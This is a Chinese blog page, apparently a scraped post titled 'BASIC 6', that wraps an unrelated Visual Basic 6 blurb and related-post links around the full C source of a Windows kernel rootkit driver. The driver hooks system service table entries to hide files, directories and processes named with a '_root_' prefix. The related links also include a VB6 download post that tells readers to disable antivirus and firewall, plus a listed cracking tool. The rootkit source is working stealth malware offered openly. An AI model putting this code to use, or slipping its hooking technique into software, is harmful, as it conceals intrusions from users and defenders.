BASIC 6

Visual Basic 6.0 sp6 简体中文企业版(附MSDN) Visual Basic 6.0中文企业版(独家推出,CD-KEY全部为1或者0) VB编程语言历史========= Visual Basic从1991年诞生以来,现在已经13年了。BASIC是微软的起家产品,微软当然不忘了这位功臣。随着每一次微软技术的浪潮,Visual Basic都会随之获得新生。可以预见,将来无论微软又发明了什么技术或平台,Visual Basic一定会首先以新的姿态登上去... 阅读详情

// BASIC ROOTKIT that hides files, directories, and processes
// ----------------------------------------------------------
// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.2 - DirEntry struct fixed, b00lean (b00lean@rootkit.com)
// ----------------------------------------------------------
// visit www.rootkit.com for latest rootkit warez
// ----------------------------------------------------------

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //Used only in checked build
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
 LARGE_INTEGER  KernelTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  CreateTime;
 ULONG    WaitTime;
 PVOID    StartAddress;
 CLIENT_ID   ClientIs;
 KPRIORITY   Priority;
 KPRIORITY   BasePriority;
 ULONG    ContextSwitchCount;
 ULONG    ThreadState;
 KWAIT_REASON  WaitReason;
};

struct _SYSTEM_PROCESSES
{
 ULONG    NextEntryDelta;
 ULONG    ThreadCount;
 ULONG    Reserved[6];
 LARGE_INTEGER  CreateTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  KernelTime;
 UNICODE_STRING  ProcessName;
 KPRIORITY   BasePriority;
 ULONG    ProcessId;
 ULONG    InheritedFromProcessId;
 ULONG    HandleCount;
 ULONG    Reserved2[2];
 VM_COUNTERS   VmCounters;
 IO_COUNTERS   IoCounters; //windows 2000 only
 struct _SYSTEM_THREADS  Threads[1];
};

#if 0
typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
    FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
    FileIdBothDirectoryInformation // 37
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
 FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;
#endif

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
 IN HANDLE hFile,
 IN HANDLE hEvent OPTIONAL,
 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
 IN PVOID IoApcContext OPTIONAL,
 OUT PIO_STATUS_BLOCK pIoStatusBlock,
 OUT PVOID FileInformationBuffer,
 IN ULONG FileInformationBufferLength,
 IN FILE_INFORMATION_CLASS FileInfoClass,
 IN BOOLEAN bReturnOnlyOneEntry,
 IN PUNICODE_STRING PathMask OPTIONAL,
 IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
 HANDLE hEvent,
 PIO_APC_ROUTINE IoApcRoutine,
 PVOID IoApcContext,
 PIO_STATUS_BLOCK pIoStatusBlock,
 PVOID FileInformationBuffer,
 ULONG FileInformationBufferLength,
 FILE_INFORMATION_CLASS FileInfoClass,
 BOOLEAN bReturnOnlyOneEntry,
 PUNICODE_STRING PathMask,
 BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
   PVOID SystemInformation,
   ULONG SystemInformationLength,
   PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION  OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE   OldZwQueryDirectoryFile;


void GetProcessNameOffset()
{
    PEPROCESS curproc;
    int i;
 curproc = PsGetCurrentProcess();
    for( i = 0; i < 3*PAGE_SIZE; i++ )
 {
        if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
  {
            gProcessNameOffset = i;
  }
    }
}

BOOL GetProcessName( PCHAR theName )
{
    PEPROCESS       curproc;
    char            *nameptr;
    ULONG           i;
    KIRQL           oldirql;

    if( gProcessNameOffset )
 {
        curproc = PsGetCurrentProcess();
        nameptr   = (PCHAR) curproc + gProcessNameOffset;
        strncpy( theName, nameptr, NT_PROCNAMELEN );
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */
  return TRUE;
    }
 return FALSE;
}

DWORD getDirEntryLenToNext(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
 DWORD result = 0;
 switch(FileInfoClass){
  case FileDirectoryInformation:
   result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileFullDirectoryInformation:
   result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileIdFullDirectoryInformation:
   result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileBothDirectoryInformation:
   result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileIdBothDirectoryInformation:
   result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileNamesInformation:
   result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
 }
 return result;
}

void setDirEntryLenToNext(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
  IN DWORD value
)
{
 switch(FileInfoClass){
  case FileDirectoryInformation:
   ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileFullDirectoryInformation:
   ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileIdFullDirectoryInformation:
   ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileBothDirectoryInformation:
   ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileIdBothDirectoryInformation:
   ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileNamesInformation:
   ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
 }
}
 
PVOID getDirEntryFileName(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
 PVOID result = 0;
 switch(FileInfoClass){
  case FileDirectoryInformation:
   result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileFullDirectoryInformation:
   result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileIdFullDirectoryInformation:
   result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileBothDirectoryInformation:
   result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileIdBothDirectoryInformation:
   result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileNamesInformation:
   result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
 }
 return result;
}

ULONG getDirEntryFileLength(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
 ULONG result = 0;
 switch(FileInfoClass){
  case FileDirectoryInformation:
   result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileFullDirectoryInformation:
   result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileIdFullDirectoryInformation:
   result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileBothDirectoryInformation:
   result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileIdBothDirectoryInformation:
   result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileNamesInformation:
   result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
 }
 return result;
}

NTSTATUS NewZwQueryDirectoryFile(
 IN HANDLE hFile,
 IN HANDLE hEvent OPTIONAL,
 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
 IN PVOID IoApcContext OPTIONAL,
 OUT PIO_STATUS_BLOCK pIoStatusBlock,
 OUT PVOID FileInformationBuffer,
 IN ULONG FileInformationBufferLength,
 IN FILE_INFORMATION_CLASS FileInfoClass,
 IN BOOLEAN bReturnOnlyOneEntry,
 IN PUNICODE_STRING PathMask OPTIONAL,
 IN BOOLEAN bRestartQuery
)
{
 NTSTATUS rc;
 CHAR aProcessName[PROCNAMELEN];
  
 GetProcessName( aProcessName );
 DbgPrint("rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);

 rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
   hFile,       /* this is the directory handle */
   hEvent,
   IoApcRoutine,
   IoApcContext,
   pIoStatusBlock,
   FileInformationBuffer,
   FileInformationBufferLength,
   FileInfoClass,
   bReturnOnlyOneEntry,
   PathMask,
   bRestartQuery);

 if( NT_SUCCESS( rc ) &&
  (FileInfoClass == FileDirectoryInformation ||
   FileInfoClass == FileFullDirectoryInformation ||
   FileInfoClass == FileIdFullDirectoryInformation ||
   FileInfoClass == FileBothDirectoryInformation ||
   FileInfoClass == FileIdBothDirectoryInformation ||
   FileInfoClass == FileNamesInformation )
  )
 {
  if(0 == memcmp(aProcessName, "_root_", 6))
  {
   DbgPrint("rootkit: detected file/directory query from _root_ process/n");
  }
  else
  {
   PVOID p = FileInformationBuffer;
   PVOID pLast = NULL;
   BOOL bLastOne;
   do
   {
    bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
    
    // compare directory-name prefix with '_root_' to decide if to hide or not.

    if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
     if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)"_/0r/0o/0o/0t/0_/0", 12 ) == 12 )
     {
      if( bLastOne )
      {
       if( p == FileInformationBuffer ) rc = 0x80000006;
       else setDirEntryLenToNext(pLast,FileInfoClass, 0);
       break;
      }
      else
      {
       int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
       int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
       RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
       continue;
      }
     }
    }
    pLast = p;
    p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
   } while( !bLastOne );
  }
 }
 return(rc);
}

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength
)
{
 NTSTATUS rc;
 CHAR aProcessName[PROCNAMELEN];
  
 GetProcessName( aProcessName );
 DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

 rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
   SystemInformationClass,
   SystemInformation,
   SystemInformationLength,
   ReturnLength );

 if( NT_SUCCESS( rc ) )
 {
  // double check the process name, if it starts w/ '_root_' DO NOT
  // apply any stealth
  if(0 == memcmp(aProcessName, "_root_", 6))
  {
   DbgPrint("rootkit: detected system query from _root_ process/n");
  }
  else if( 5 == SystemInformationClass )
  {
   // this is a process list, look for process names that start with
   // '_root_'
   struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
   struct _SYSTEM_PROCESSES *prev = NULL;
   while(curr)
   { 
    //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
    
    ANSI_STRING process_name;
    RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
    if( (0 < process_name.Length) && (255 > process_name.Length) )
    {
     if(0 == memcmp( process_name.Buffer, "_root_", 6))
     {
      //////////////////////////////////////////////
      // we have a winner!
      //////////////////////////////////////////////
      char _output[255];
      char _pname[255];
      memset(_pname, 0, 255);
      memcpy(_pname, process_name.Buffer, process_name.Length);

      sprintf( _output,
         "rootkit: hiding process, pid: %d/tname: %s/r/n",
         curr->ProcessId,
         _pname);
      DbgPrint(_output);

      if(prev)
      {
       if(curr->NextEntryDelta)
       {
        // make prev skip this entry
        prev->NextEntryDelta += curr->NextEntryDelta;
       }
       else
       {
        // we are last, so make prev the end
        prev->NextEntryDelta = 0;
       }
      }
      else
      {
       if(curr->NextEntryDelta)
       {
        // we are first in the list, so move it forward
        (char *)SystemInformation += curr->NextEntryDelta;
       }
       else
       {
        // we are the only process!
        SystemInformation = NULL;
       }
      }
     }
    }
    RtlFreeAnsiString(&process_name);
    prev = curr;
    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    else curr = NULL;
   }
  }
 }
 return(rc);
}

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
 DbgPrint("ROOTKIT: OnUnload called/n");

 // unhook system calls
 _asm cli
 (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) =OldZwQueryDirectoryFile;
 (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
 _asm sti
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 int i;

 DbgPrint("My Driver Loaded!");

 GetProcessNameOffset();

 // Register a dispatch function
 for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
 {
         theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

 theDriverObject->DriverUnload  = OnUnload;

 // save old system call locations
 OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
 OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

 // hook system calls
 _asm cli
 (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
 (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
 _asm sti
           
 return STATUS_SUCCESS;
}

 

【编程常识】关于 Visual Basic 6.0 语言 ** 什么是 Visual Basic 6.0? ** Visual basic 6.0中文版是一种由微软公司开发的包含协助开发环境的事件驱动编程语言,它源自于BASIC编程语言,拥有图形用户界面(GUI)和快速应用程序开发(RAD)系统,可以轻易的使用DAO、RDO、ADO连接数据库,或者轻松的创建ActiveX控件。 ... 阅读详情

相关推荐

将 Visual Basic 6.0 项目升级到 Visual Basic .NET ItemData 属性

PRB: ListBox 和 ComboBox 控件不存在 ItemData 属性本文的发布号曾为 CHS311340本页症状解决方案状态更多信息复现行为的步骤生成一个用来升级的 Visual Basic 6.0 示例将 Visual Basic 6.0 项目升级到 Visual Basic .NET 在 Visual

liyingju的专栏 2075

BASIC ROOTKIT that hides files, directories, and processes

// BASIC ROOTKIT that hides files, directories, and processes// ----------------------------------------------------------// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)// v0.2 - DirEntry struct

1167

用Visual Basic 6.0实现自动化测试

用Visual Basic 6.0实现自动化测试     选择自 hk_von 的 Blog  用Visual Basic 6.0实现自动化测试(赛宝软件评测中心,广东 广州,510610) 黄茂生本文摘自网上。摘要:本文探讨了Visual Basic 6.0在测试自动化中应用的可能性,并列举了一些在实际工作中应用的例子一 现有自动化测试工具的不足当前,一个摆在软件测试自动

eyesindance的专栏 1555

windows权限维持—— 驱动级文件隐藏

参考:https://www.cnblogs.com/xiaozi/p/7611775.html 驱动隐藏最典型的现象就是系统盘中存在以下文件: c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys 驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: http://www.xoslab.com/efl.htm

mingyqf的博客 1787

ZwQueryDirectoryFile

ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。

DELPHI隐藏进程源代码

隐藏自己的进程,在资源管理器隐藏,可以支持WIN10

文件夹加密(链接方式)

.{00020c01-0000-0000-c000-000000000046} .{00020811-0000-0000-c000-000000000046} .{20D04FE0-3AEA-1069-A2D8-08002B30309D} .{450D8FBA-AD25-11D0-98A8-0800361B1103} .{992CFFA0-F557-101A-88EC-00DD010CCC48} 

huiguixian的专栏 1270

Zephyr OS实战指南:从入门到精通物联网开发

本文提供了一份详尽的Zephyr OS实战指南,涵盖从开发环境搭建到物联网应用开发的全过程。文章详细介绍了如何利用Zephyr OS进行线程管理、设备驱动开发、低功耗设计以及蓝牙通信,并通过具体代码示例帮助开发者快速掌握这一专为物联网设备设计的开源实时操作系统,实现从入门到精通的跨越。

weixin_29201933的博客 546

【Windows系统】隐藏驱动器

下面以隐藏E盘为例。

sunriver2000的专栏 857

使用python对创芯科技CANalyst-II分析仪进行二次开发(详细教程)

使用python对创芯科技CANalyst-II分析仪进行二次开发

ningqingzy的博客 1万+

Unraid小白必看:5分钟搞定OpenWrt软路由安装(附iStoreOS配置技巧)

本文为Unraid新手提供了一份详尽的OpenWrt软路由安装与配置指南。通过虚拟机技术,在Unraid系统上快速部署基于iStoreOS的软路由,详细讲解了旁路由与主路由两种模式的网络配置、性能优化技巧及常见故障排查方法,帮助用户充分利用闲置硬件,打造高性能、可定制的家庭网络中枢。

wine的专栏 485

windows10驱动 --- x64线程隐藏(一)

win10 x64 线程隐藏

weixin_41725706的博客 1821

Python学习24:中国古代数学问题——物不知数(Python123)

意思是说有一些物品,不知道有多少个,3个3个数的话,还多出2个;5个5个数则多出3个;7个7个数也会多出2个。题目为‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬:今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问物几何?现假设物品总数不超过n (n

weixin_60530224的博客 2万+

将Visual Basic 6.0程序转换到Visual Basic.NET

从 Visual Basic 6.0 到 Visual Basic.NET 的转换 Microsoft Visual Basic.NET 是 Microsoft Visual Basic© 的后续版本,它是基于 .NET 框架重新设计的,您可以用它来轻松地创建用于 Microsoft Windows© 操作系统和 Web 的下一代应用程序。使用 Visual Basic.NET,可视化开发 W

coolstar的调侃 4227

Dify与钉钉轻量级集成:打造企业内部AI助手

企业级聊天机器人开发已成为提升内部协同效率的关键技术。其核心原理在于通过API集成,将AI模型能力与即时通讯平台无缝连接,实现智能问答与自动化流程。从技术价值看,这种集成方案能够显著降低AI应用落地门槛,将前沿的AI能力快速转化为实际生产力。在应用场景上,它尤其适用于HR答疑、IT技术支持、产品知识库等高频内部服务场景。本文聚焦于Dify与钉钉的轻量级集成方案,通过Stream模式实现高效消息处理,并利用AI卡片支持流式输出,为企业构建体验自然的智能机器人提供了完整实践路径。该方案特别强调配置简化与部署便捷

weixin_27155667的博客 696

目标检测YOLO实战应用案例100讲-【目标检测】缺陷检测(二)

在工业生产中总是经常遇到裂痕、划痕等产品的表面缺陷问题,机器视觉行业对于表面检测相比前几年已经有很大的突破,对于产品表面的划伤、污迹等检测已经不再是难点。在金属、玻璃、手机屏幕、液晶板等行业表面检测上应用广泛。但由于该类缺陷形状不规则、深浅对比度低,而且往往会被产品表面的自然纹理或图案所干扰。因此,表面划痕缺陷检测对于正确打光、相机分辨率、被检测部件与工业相机的相对位置、复杂的机器视觉算法等要求非常高。

qq_36130719的博客 728

厉害了 C# 重构 16 年前被废弃的 Visual Basic 6 IDE

C# 发展多年以来,很多程序员喜欢用它来编写各种工具类软件。近日,向来奉行「Talk is Cheap,Show me the code」的程序员又开始了新一轮的“整活”,其中一位名为 Bartosz Korczynski 的软件工程师心血来潮地用 C# 重建了 16 年前被微软废弃的 Visual Basic 6 IDE。最初只是出于兴趣,想要开发一个“有趣的玩具项目”。但没想到,项目刚搞定并在 GitHub 上开源

中游鱼的博客 1148

PCIe-Orders set Blocks之symbol对齐

有序集的使用场合很多,如在链路link阶段,进入polling后,便开始有序集的发送。一个 Ordered Set Block 包含一个同步头,后跟一个有序集。多通道链路的所有 Lane 必须同时传输相同的有序集,而且有序集的第一个符号定义了有序集的类型。但在PCIE中,8GT/s及以上的速率,采用的是128b/130b编码。128-bit是想要传输的payload,实际会传输130-bit,多出来的2-bit就是sync header。Block有两种,通过Sync header区分:10b:表示data

weixin_44700185的博客 813

Visual Basic 6中发送邮件的新方法

作者:陈刚用VB6编写发送邮件的程序,有多种E-mail组件可供选择,如MAPIMessages、IIS4.0附带的CDONTS(NTS Collaboration Data Objects)以及许多第三方厂商开发的Email软件等。本文介绍用CDONTS开发VB下的邮件程序方法。  1. 确认已安装SMTP服务器  首先,必须确认在IIS服务器上已安装SMTP服务器,这是安装

tripofdream的专栏 1615

YOLO系列算法改进 | Neck改进篇 | 融合FAAFusion傅里叶角度对齐模块 | 攻克多尺度方向特征冲突,角度检测精度飙升! | CVPR 2026

YOLO系列算法改进 | Neck改进篇 | 融合FAAFusion傅里叶角度对齐模块 | 攻克多尺度方向特征冲突,角度检测精度飙升! | CVPR 2026 (以YOLO26最新目标检测模型为基础,利用FAAFusion傅里叶角度对齐模块改进Neck部分)

2502_91881744的博客 315

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

从 Visual Basic 6.0 到 Visual Basic.NET 的转换

Microsoft Visual Basic.NET 是 Microsoft Visual Basic? 的后续版本,它是基于 .NET 框架重新设计的,您可以用它来轻松地创建用于 Microsoft Windows? 操作系统和 Web 的下一代应用程序。使用 Visual Basic.NET,可视化开发 Web 应用程序、Web 服务、Windows 应用程序和服务器端组件将变得轻而易举。此外

路子专栏 1611

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

【免费下载】 Visual Basic 6.0 简体中文企业版 & SP6 镜像文件下载

Visual Basic 6.0 简体中文企业版 & SP6 镜像文件下载 【下载地址】VisualBasic6.0简体中文企业版SP6镜像文件下载 本仓库提供 Visual Basic 6.0 简体中文企业版及其 Service Pack 6 (SP6) 的镜像文件下载。Visual Basic 6.0 是微软...

gitblog_09767的博客 4528

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

将你的Visual Basic 6.0移植到Visual Basic.NET

将你的Visual Basic 6.0移植到Visual Basic.NET摘要:本文推荐给那些准备将自己的应用移植到Visual Basic.NET中的Visual Basic开发者。文章中包括Visual Basic.NET升级工具的信息的介绍以及将Visual Basic 6结构平滑升级到Visual Basic.NET 的指导标题什么是Visual Basic.NET?为什么Visual

OUYAN的专栏 1538

Visual Basic6.0下载及安装

首先复制下方链接到百度网盘,下载VB6.0安装包: https://pan.baidu.com/s/1teScu-D-xqKvN1etGc2XsQ 提取码:bzkr 下载完成后,按照以下步骤进行安装: 1,解压安装包 2,关闭杀毒软件、防火墙,包括360 3,双击SETUP.EXE 4,在安装向导页面中选择下一步 5,选择接受协议,再选择下一步 6,输入序列号874-0166152,输入姓名和公司名称(随便填什么),填写完成后,选择下一步,进入安装界面 7,选择继续 8,选择确定 9,选择典型安装,开始进

weixin_39433293的博客 1万+
上一篇: BASIC 5
下一篇: BASIC 6a
errorlife
博客等级 码龄21年 0粉丝 2原创
评论
